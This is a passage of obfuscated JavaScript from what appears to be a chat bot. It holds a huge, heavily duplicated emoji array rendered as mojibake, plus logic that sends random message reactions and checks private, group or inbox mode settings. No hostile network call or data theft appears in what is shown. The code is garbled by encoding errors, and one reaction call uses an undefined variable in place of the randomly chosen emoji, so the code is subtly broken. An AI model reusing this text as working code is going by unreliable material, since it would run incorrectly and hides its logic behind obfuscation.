',_0x50c532(0x1ec),'๐Ÿ˜ข','๐Ÿ˜ญ','๐Ÿ˜“','๐Ÿ˜ณ','๐Ÿ˜ด','๐Ÿ˜Œ','๐Ÿ˜†','๐Ÿ˜‚','๐Ÿค”','๐Ÿ˜’','๐Ÿ˜“','๐Ÿ˜ถ','๐Ÿ™„','โšก','๐Ÿฑ','๐Ÿ”','๐Ÿท','๐Ÿด','๐Ÿฒ','๐Ÿธ','๐Ÿณ','๐Ÿ‹','๐Ÿ’','๐Ÿ‘','๐Ÿ','๐Ÿฉ','๐Ÿ”','๐Ÿ•','๐Ÿฅค','๐Ÿฃ','๐Ÿฒ','๐Ÿด','๐Ÿฝ','๐Ÿน','๐Ÿธ','๐ŸŽ‚','๐Ÿ“ฑ','๐Ÿ“บ','๐Ÿ“ป','๐ŸŽค','๐Ÿ“š','๐Ÿ’ป','๐Ÿ“ธ','๐Ÿ“ท','โค๏ธ','๐Ÿ’”','โฃ๏ธ','โ˜€๏ธ','๐ŸŒ™','๐ŸŒƒ','๐Ÿ ','๐Ÿšช',_0x50c532(0x2a3),_0x50c532(0x1b0),_0x50c532(0x2c7),_0x50c532(0x2b6),_0x50c532(0x1d8),_0x50c532(0x1d3),_0x50c532(0x331),'๐Ÿ‘','๐Ÿ‘Ž','๐Ÿ‘','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿค','๐Ÿ™','๐Ÿ‘‘','๐ŸŒป','๐ŸŒบ','๐ŸŒธ','๐ŸŒน','๐ŸŒด',_0x50c532(0x1a9),'๐ŸŒŠ','๐Ÿš—','๐ŸšŒ','๐Ÿ›ฃ๏ธ',_0x50c532(0x322),_0x50c532(0x2cf),'๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€',_0x50c532(0x246),_0x50c532(0x2d1),_0x50c532(0x35d),_0x50c532(0x1bc),'๐ŸŽพ','๐Ÿ€','๐Ÿˆ','๐ŸŽฏ','๐Ÿ†','??','โฌ†๏ธ','โฌ‡๏ธ','โ‡’','โ‡','โ†ฉ๏ธ','โ†ช๏ธ','โ„น๏ธ','โ€ผ๏ธ','โ‰๏ธ','โ€ฝ๏ธ','ยฉ๏ธ','ยฎ๏ธ','โ„ข๏ธ','๐Ÿ”ด','๐Ÿ”ต','๐ŸŸข','๐Ÿ”น','๐Ÿ”บ','๐Ÿ’ฏ','๐Ÿ‘‘','๐Ÿคฃ',_0x50c532(0x2de),_0x50c532(0x310),'๐Ÿ™…โ€โ™‚๏ธ',_0x50c532(0x213),_0x50c532(0x27d),'๐Ÿ™†โ€โ™€๏ธ','๐Ÿคฆโ€โ™‚๏ธ',_0x50c532(0x23a),'๐Ÿป','๐Ÿ’†โ€โ™‚๏ธ',_0x50c532(0x257),_0x50c532(0x2a9),'๐Ÿ•ดโ€โ™€๏ธ',_0x50c532(0x33b),_0x50c532(0x1fe),'๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ','๐Ÿ“ฝ๏ธ','๐Ÿ“ธ','๐Ÿ“ท','๐Ÿ•ฏ๏ธ','๐Ÿ’ก','๐Ÿ”ฆ','๏ฟฝ','๐Ÿฏ','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ','๐Ÿ•ท๏ธ',_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐ŸŒณ','๐ŸŒฒ','๐ŸŒพ','๐ŸŒฟ','๐Ÿƒ','๐Ÿ‚','๐Ÿƒ','๐ŸŒป','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒธ','๐ŸŒด','๐Ÿต','๐ŸŽ€','๐Ÿ†','๐Ÿˆ','๐Ÿ‰','๐ŸŽฏ','๐Ÿ€','๐ŸŠ','๐Ÿ‹','๐ŸŒ','๐ŸŽฒ','๐Ÿ“š','๐Ÿ“–','๐Ÿ“œ','๐Ÿ“','๐Ÿ’ญ','๐Ÿ’ฌ','๐Ÿ—ฃ','๐Ÿ’ซ','๐ŸŒŸ','๐ŸŒ ','๐ŸŽ‰','๐ŸŽŠ','๐Ÿ‘','๐Ÿ’ฅ','๐Ÿ”ฅ','๐Ÿ’ฅ','๐ŸŒช','๐Ÿ’จ','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒฑ','๐ŸŒฟ','๐Ÿƒ','๐Ÿ‚','๐ŸŒป','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒธ','๐ŸŒด','๐Ÿต','๐ŸŽ€','๐Ÿ†','๐Ÿˆ','๐Ÿ‰','๐ŸŽฏ','๐Ÿ€','๐ŸŠ','๐Ÿ‹','๐ŸŒ','๐ŸŽฒ','๐Ÿ“š','๐Ÿ“–','๐Ÿ“œ','๐Ÿ“','๐Ÿ’ญ','๐Ÿ’ฌ','๐Ÿ—ฃ','๐Ÿ’ซ','๐ŸŒŸ','๐ŸŒ ','๐ŸŽ‰','๐ŸŽŠ','๐Ÿ‘','๐Ÿ’ฅ','๐Ÿ”ฅ','๐Ÿ’ฅ','๐ŸŒช','๐Ÿ’จ','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก','๐ŸŒช','๐ŸŒซ','๐ŸŒฌ','๐ŸŒฉ','๐ŸŒจ','๐ŸŒง','๐ŸŒฆ','๐ŸŒฅ','๐ŸŒก',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ','๐Ÿ•ท๏ธ','๐Ÿ•ธ๏ธ','๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท','๐Ÿ•ฏ๏ธ','๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž','๐Ÿ•ท๏ธ','๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ’','๐Ÿฆ','๐Ÿฆง','โšก','๐Ÿ','๐Ÿฆฎ',_0x50c532(0x374),'๐Ÿฉ','๐Ÿบ','๐ŸฆŠ','๐Ÿฆ','๐Ÿฑ','๐Ÿˆ',_0x50c532(0x29d),'๐Ÿฆ','๐Ÿฏ','๐Ÿ…','๐Ÿ†','๐Ÿด','๐ŸŽ','๐Ÿฆ„','๐Ÿฆ“','๐ŸฆŒ','๐Ÿฆฌ','๐Ÿฎ','๐Ÿ‚','๐Ÿƒ','๐Ÿ„','๐Ÿท','๐Ÿ–','๐Ÿ—','๐Ÿฝ','๐Ÿ','๐Ÿ‘','๐Ÿ','๐Ÿช','๐Ÿซ','๐Ÿฆ™','๐Ÿฆ’','๐Ÿ˜','๐Ÿฆฃ','๐Ÿฆ','๐Ÿฆ›','๐Ÿญ','๐Ÿ','๐Ÿ€','๐Ÿน','๐Ÿฐ','๐Ÿ‡','๐Ÿฟ๏ธ','๐Ÿฆซ','๐Ÿฆ”','๐Ÿฆ‡','๐Ÿป',_0x50c532(0x34e),'๐Ÿจ','๐Ÿผ','๐Ÿฆฅ','๐Ÿฆฆ','๐Ÿฆจ','๐Ÿฆ˜','๐Ÿฆก','๐Ÿพ','๐Ÿฆƒ','๐Ÿ”','๐Ÿ“','๐Ÿฃ','๐Ÿค','๐Ÿฅ','๐Ÿฆ','๐Ÿง',_0x50c532(0x1a6),'๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆข','๐Ÿฆ‰','๐Ÿฆค','๐Ÿชถ','๐Ÿฆฉ','๐Ÿฆš','๐Ÿฆœ','๐Ÿธ','๐ŸŠ','๐Ÿข','๐ŸฆŽ','๐Ÿ','๐Ÿฒ','๐Ÿ‰','๐Ÿฆ•','๐Ÿฆ–','๐Ÿณ','๐Ÿ‹','๐Ÿฌ','๐Ÿฆญ','๐ŸŸ','๐Ÿ ','๐Ÿ˜€','๐Ÿ˜ƒ','๐Ÿ˜„','๐Ÿ˜','๐Ÿ˜†','๐Ÿ˜…','๐Ÿคฃ','๐Ÿ˜‚','๐Ÿ™‚','๐Ÿ™ƒ','๐Ÿ˜‰','๐Ÿ˜Š','๐Ÿ˜‡','๐Ÿฅฐ','๐Ÿ˜','๐Ÿคฉ','๐Ÿ˜˜','๐Ÿ˜—','โ˜บ๏ธ','๐Ÿ˜š','๐Ÿ˜™','๐Ÿฅฒ','๐Ÿ˜‹','๐Ÿ˜›','๐Ÿ˜œ','๐Ÿคช','๐Ÿ˜','๐Ÿค‘','๐Ÿค—','๐Ÿคญ','๐Ÿคซ','๐Ÿค”','๐Ÿค','๐Ÿคจ','๐Ÿ˜','๐Ÿ˜‘','๐Ÿ˜ถ',_0x50c532(0x2a4),'๐Ÿ˜','๐Ÿ˜’','๐Ÿ™„','๐Ÿ˜ฌ','๐Ÿ˜ฎโ€๐Ÿ’จ','๐Ÿคฅ','๐Ÿ˜Œ','๐Ÿ˜”','๐Ÿ˜ช','๐Ÿคค','๐Ÿ˜ด','๐Ÿ˜ท','๐Ÿค’','๐Ÿค•','๐Ÿ‘ป','๐Ÿ‘‘','๐Ÿคง','๐Ÿฅต','๐Ÿฅถ','๐Ÿฅด','๐Ÿ˜ต',_0x50c532(0x24f),'๐Ÿคฏ','๐Ÿค ','๐Ÿฅณ','๐Ÿฅธ','๐Ÿ˜Ž','๐Ÿค“','๐Ÿง','๐Ÿ˜•','๐Ÿ˜Ÿ','๐Ÿ™','โ˜น๏ธ','๐Ÿ˜ฎ','๐Ÿ˜ฏ','๐Ÿ˜ฒ','๐Ÿ˜ณ','๐Ÿฅบ','๐Ÿ˜ฆ','๐Ÿ˜ง','๐Ÿ˜จ','๐Ÿ˜ฐ','๐Ÿ˜ฅ','๐Ÿ˜ข','๐Ÿ˜ญ','๐Ÿ˜ฑ','๐Ÿ˜–','๐Ÿ˜ฃ','๐Ÿ˜ž','๐Ÿ˜“','๐Ÿ˜ฉ','๐Ÿ˜ซ','๐Ÿฅฑ','๐Ÿ˜ค',_0x50c532(0x1ec),'๐Ÿ˜ ','๐Ÿคฌ','๐Ÿ˜ˆ','๐Ÿ‘ฟ','๐Ÿ’€','โ˜ ๏ธ','๐Ÿ’ฉ','๐Ÿคก','๐Ÿ‘น','๐Ÿ‘บ','๐Ÿ‘ป','๐Ÿ‘ฝ','๐Ÿ‘พ','๐Ÿค–','๐Ÿ˜บ','๐Ÿ˜ธ','๐Ÿ˜น','๐Ÿ˜ป','๐Ÿ˜ผ','๐Ÿ˜ฝ','๐Ÿ™€','๐Ÿ˜ฟ','๐Ÿ˜พ','๐Ÿ™ˆ','๐Ÿ™‰','๐Ÿ™Š','๐Ÿ’‹','๐Ÿ’Œ','๐Ÿ’˜','๐Ÿ’','๐Ÿ’–','๐Ÿ’—','๐Ÿ’“','๐Ÿ’ž','๐Ÿ’•','๐Ÿ’Ÿ','โฃ๏ธ','๐Ÿ’”',_0x50c532(0x27f),_0x50c532(0x1d2),'โค๏ธ','๐Ÿงก','๐Ÿ’›','๐Ÿ’š','๐Ÿ’™','๐Ÿ’œ','๐ŸคŽ','๐Ÿ–ค','๐Ÿค','๐Ÿ’ฏ','๐Ÿ’ข','๐Ÿ’ฅ','๐Ÿ’ซ','๐Ÿ’ฆ','๐Ÿ’จ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ’ฌ','๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ',_0x50c532(0x28c),_0x50c532(0x224),'๐Ÿ’ญ','๐Ÿ’ค','๐Ÿ‘‹','๐Ÿคš',_0x50c532(0x24e),'โœ‹','๐Ÿ––','๐Ÿ‘Œ','๐ŸคŒ','๐Ÿค','โœŒ๏ธ','๐Ÿคž','๐ŸคŸ','๐Ÿค˜','๐Ÿค™','๐Ÿ‘ˆ','๐Ÿ‘‰','๐Ÿ‘†',_0x50c532(0x1d2),'๐Ÿ‘‡','โ˜๏ธ','๐Ÿ‘','๐Ÿ‘Ž','โœŠ','๐Ÿ‘Š','๐Ÿค›','๐Ÿคœ','๐Ÿ‘','๐Ÿ™Œ','๐Ÿ‘','๐Ÿคฒ','๐Ÿค','๐Ÿ™','โœ๏ธ','๐Ÿ’…','๐Ÿคณ','๐Ÿ’ช','๐Ÿฆพ','๐Ÿฆฟ','๐Ÿฆต','๐Ÿฆถ','๐Ÿ‘‚','๐Ÿฆป','๐Ÿ‘ƒ','๐Ÿง ','๐Ÿซ€','๐Ÿซ','๐Ÿฆท','๐Ÿฆด','๐Ÿ‘€','๐Ÿ‘๏ธ','๐Ÿ‘…','๐Ÿ‘„','๐Ÿ‘ถ','๐Ÿง’','๐Ÿ‘ฆ','๐Ÿ‘ง','๐Ÿง‘','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿง”','๐Ÿง”โ€โ™‚๏ธ',_0x50c532(0x1c3),_0x50c532(0x21f),_0x50c532(0x20a),'๐Ÿ‘จโ€๐Ÿฆณ',_0x50c532(0x248),'๐Ÿ‘ฉ',_0x50c532(0x25b),_0x50c532(0x316),_0x50c532(0x37c),_0x50c532(0x28a),_0x50c532(0x2c8),'๐Ÿง‘โ€๐Ÿฆณ',_0x50c532(0x270),'๐Ÿง‘โ€๐Ÿฆฒ','๐Ÿ‘ฑโ€โ™€๏ธ',_0x50c532(0x317),'๐Ÿง“','๐Ÿ‘ด','๐Ÿ‘ต','๐Ÿ™',_0x50c532(0x35a),_0x50c532(0x2f0),'๐Ÿ™Ž',_0x50c532(0x21e),_0x50c532(0x2ce),'๐Ÿ™…',_0x50c532(0x2ec),_0x50c532(0x213),'๐Ÿ™†','๐Ÿ™†โ€โ™‚๏ธ',_0x50c532(0x2a2),'๐Ÿ’',_0x50c532(0x20d),_0x50c532(0x252),'๐Ÿ™‹',_0x50c532(0x24c),'๐Ÿ™‹โ€โ™€๏ธ','๐Ÿง',_0x50c532(0x271),'๐Ÿงโ€โ™€๏ธ','๐Ÿ™‡',_0x50c532(0x31a),_0x50c532(0x217),'๐Ÿคฆ','๐Ÿคฆโ€โ™‚๏ธ','๐Ÿคฆโ€โ™€๏ธ','๐Ÿคท',_0x50c532(0x2de),_0x50c532(0x310),'๐Ÿง‘โ€โš•๏ธ',_0x50c532(0x348),'๐Ÿ‘ฉโ€โš•๏ธ',_0x50c532(0x247),_0x50c532(0x361),_0x50c532(0x328),_0x50c532(0x1a2),'๐Ÿ‘จโ€๐Ÿซ',_0x50c532(0x227),_0x50c532(0x278),_0x50c532(0x2e4),_0x50c532(0x280),_0x50c532(0x210),'๐Ÿ‘จโ€๐ŸŒพ',_0x50c532(0x292),_0x50c532(0x1da),_0x50c532(0x1ab),_0x50c532(0x1ef),_0x50c532(0x22a),_0x50c532(0x28e),_0x50c532(0x32a),_0x50c532(0x1d7),_0x50c532(0x34b),_0x50c532(0x260),_0x50c532(0x32f),_0x50c532(0x2e3),_0x50c532(0x357),_0x50c532(0x284),_0x50c532(0x2b4),'๐Ÿ‘ฉโ€๐Ÿ”ฌ','๐Ÿง‘โ€๐Ÿ’ป',_0x50c532(0x2db),'๐Ÿ‘ฉโ€๐Ÿ’ป',_0x50c532(0x330),'๐Ÿ‘จโ€๐ŸŽค',_0x50c532(0x2aa),'๐Ÿง‘โ€๐ŸŽจ',_0x50c532(0x1f4),_0x50c532(0x268),_0x50c532(0x329),_0x50c532(0x319),_0x50c532(0x269),_0x50c532(0x355),_0x50c532(0x220),'๐Ÿ‘ฉโ€๐Ÿš€',_0x50c532(0x30b),'๐Ÿ‘จโ€๐Ÿš’',_0x50c532(0x2b2),'๐Ÿ‘ฎ',_0x50c532(0x204),_0x50c532(0x295),_0x50c532(0x366),_0x50c532(0x24d),_0x50c532(0x2d0),'๐Ÿ’‚',_0x50c532(0x1ba),_0x50c532(0x323),'๐Ÿฅท','๐Ÿ‘ท','๐Ÿ‘ทโ€โ™‚๏ธ',_0x50c532(0x36a),'๐Ÿคด','๐Ÿ‘ธ','๐Ÿ‘ณ',_0x50c532(0x303),_0x50c532(0x368),'๐Ÿ‘ฒ','๐Ÿง•','๐Ÿคต','๐Ÿคตโ€โ™‚๏ธ',_0x50c532(0x27c),'๐Ÿ‘ฐ',_0x50c532(0x27b),_0x50c532(0x364),'๐Ÿคฐ','๐Ÿคฑ',_0x50c532(0x2d7),_0x50c532(0x34f),_0x50c532(0x261),'๐Ÿ‘ผ','๐ŸŽ…','๐Ÿคถ','๐Ÿง‘โ€๐ŸŽ„','๐Ÿฆธ',_0x50c532(0x2d8),_0x50c532(0x37f),'๐Ÿฆน',_0x50c532(0x256),'๐Ÿฆนโ€โ™€๏ธ','๐Ÿง™','๐Ÿง™โ€โ™‚๏ธ',_0x50c532(0x2c0),'๐Ÿงš',_0x50c532(0x35c),_0x50c532(0x274),'๐Ÿง›',_0x50c532(0x1f6),_0x50c532(0x2e0),'๐Ÿงœ',_0x50c532(0x299),'๐Ÿงœโ€โ™€๏ธ','๐Ÿง',_0x50c532(0x262),_0x50c532(0x2dd),'๐Ÿงž',_0x50c532(0x313),'๐Ÿงžโ€โ™€๏ธ','๐ŸงŸ',_0x50c532(0x2a1),_0x50c532(0x289),'๐Ÿ’†',_0x50c532(0x1bf),_0x50c532(0x257),'๐Ÿ’‡',_0x50c532(0x33b),_0x50c532(0x1fe),'๐Ÿšถ',_0x50c532(0x203),_0x50c532(0x288),'๐Ÿง',_0x50c532(0x283),_0x50c532(0x238),'๐ŸงŽ',_0x50c532(0x297),_0x50c532(0x1eb),_0x50c532(0x2fe),_0x50c532(0x36e),_0x50c532(0x281),_0x50c532(0x25f),_0x50c532(0x2a5),'๐Ÿ‘ฉโ€๐Ÿฆผ','๐Ÿง‘โ€๐Ÿฆฝ','๐Ÿ‘จโ€๐Ÿฆฝ','๐Ÿ‘ฉโ€๐Ÿฆฝ','๐Ÿƒ',_0x50c532(0x246),_0x50c532(0x344),'๐Ÿ’ƒ','๐Ÿ•บ',_0x50c532(0x27e),'๐Ÿ‘ฏ',_0x50c532(0x291),_0x50c532(0x37b),'๐Ÿง–',_0x50c532(0x1f1),_0x50c532(0x239),'๐Ÿง—',_0x50c532(0x1f3),_0x50c532(0x2f6),'๐Ÿคบ','๐Ÿ‡','โ›ท๏ธ','๐Ÿ‚',_0x50c532(0x2c9),_0x50c532(0x279),'๐ŸŒ๏ธโ€โ™€๏ธ','๐Ÿ„',_0x50c532(0x1bc),_0x50c532(0x29e),'๐Ÿšฃ',_0x50c532(0x1f9),_0x50c532(0x29c),'๐ŸŠ',_0x50c532(0x35d),_0x50c532(0x337),'โ›น๏ธ',_0x50c532(0x2d6),'โ›น๏ธโ€โ™€๏ธ',_0x50c532(0x2ee),_0x50c532(0x2be),_0x50c532(0x2d1),'๐Ÿšด','๐Ÿšดโ€โ™‚๏ธ',_0x50c532(0x285),'๐Ÿšต',_0x50c532(0x282),_0x50c532(0x1ff),'๐Ÿคธ',_0x50c532(0x37a),'๐Ÿคธโ€โ™€๏ธ','๐Ÿคผ',_0x50c532(0x250),'๐Ÿคผโ€โ™€๏ธ','๐Ÿคฝ',_0x50c532(0x30c),'๐Ÿคฝโ€โ™€๏ธ','๐Ÿคพ','๐Ÿคพโ€โ™‚๏ธ',_0x50c532(0x25a),'๐Ÿคน',_0x50c532(0x30e),'๐Ÿคนโ€โ™€๏ธ','๐Ÿง˜','๐Ÿง˜โ€โ™‚๏ธ','๐Ÿง˜โ€โ™€๏ธ','๐Ÿ›€','๐Ÿ›Œ',_0x50c532(0x373),'๐Ÿ‘ญ','๐Ÿ‘ซ','๐Ÿ‘ฌ','๐Ÿ’','๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘จ',_0x50c532(0x2b1),_0x50c532(0x21d),'๐Ÿ’‘',_0x50c532(0x347),'๐Ÿ‘จโ€โค๏ธโ€๐Ÿ‘จ',_0x50c532(0x339),'๐Ÿ‘ช',_0x50c532(0x205),'๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘ง',_0x50c532(0x20b),_0x50c532(0x200),_0x50c532(0x219),_0x50c532(0x25e),_0x50c532(0x312),_0x50c532(0x234),_0x50c532(0x2b3),'๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘งโ€๐Ÿ‘ง',_0x50c532(0x2fb),_0x50c532(0x2c6),_0x50c532(0x33f),_0x50c532(0x1b7),_0x50c532(0x2d4),'๐Ÿ‘จโ€๐Ÿ‘ฆ',_0x50c532(0x31b),'๐Ÿ‘จโ€๐Ÿ‘ง',_0x50c532(0x1c1),_0x50c532(0x1a4),'๐Ÿ‘ฉโ€๐Ÿ‘ฆ',_0x50c532(0x1b1),_0x50c532(0x321),_0x50c532(0x1a3),'๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ง',_0x50c532(0x265),'๐Ÿ‘ค','๐Ÿ‘ฅ','๐Ÿซ‚','๐Ÿ‘ฃ','๐Ÿฆฐ','๐Ÿฆฑ','๐Ÿฆณ','๐Ÿฆฒ','๐Ÿต'],_0x41eb63=_0x36e9ef[Math[_0x50c532(0x1ae)](Math['random']()*_0x36e9ef[_0x50c532(0x25c)])];_0x1a54cd['react'](randomOwnerReaction);}}if(!_0x5cff93&&_0x1e3d4b!==_0x55fcd1){if(config[_0x50c532(0x1d4)]==='true'){const _0x104e69=(config[_0x50c532(0x1e0)]||_0x50c532(0x201))['split'](','),_0x8de441=_0x104e69[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x104e69[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0x8de441);}}if(!_0x5cff93&&_0x1e3d4b===_0x55fcd1){if(config['CUSTOM_REACT']===_0x50c532(0x2f8)){const _0x3451bb=(config['CUSTOM_REACT_EMOJIS']||_0x50c532(0x201))[_0x50c532(0x25d)](','),_0x56639e=_0x3451bb[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x3451bb[_0x50c532(0x25c)])];_0x1a54cd[_0x50c532(0x36c)](_0x56639e);}}if(!_0x4d6166&&config['MODE']===_0x50c532(0x2ad))return;if(!_0x4d6166&&_0x49325c&&config[_0x50c532(0x1c5)]===_0x50c532(0x1e3))return;if(!_0x4d6166&&!_0x49325c&&config['MODE']===_0x50c532(0x1d5))return;const _0x433e45=require('./command'),_0x4c9d0e=_0x53c320?_0x1b47c5['slice'](0x1)['trim']()[_0x50c532(0x25d)]('\x20')[0x0]['toLowerCase']():![];if(_0x53c320){const 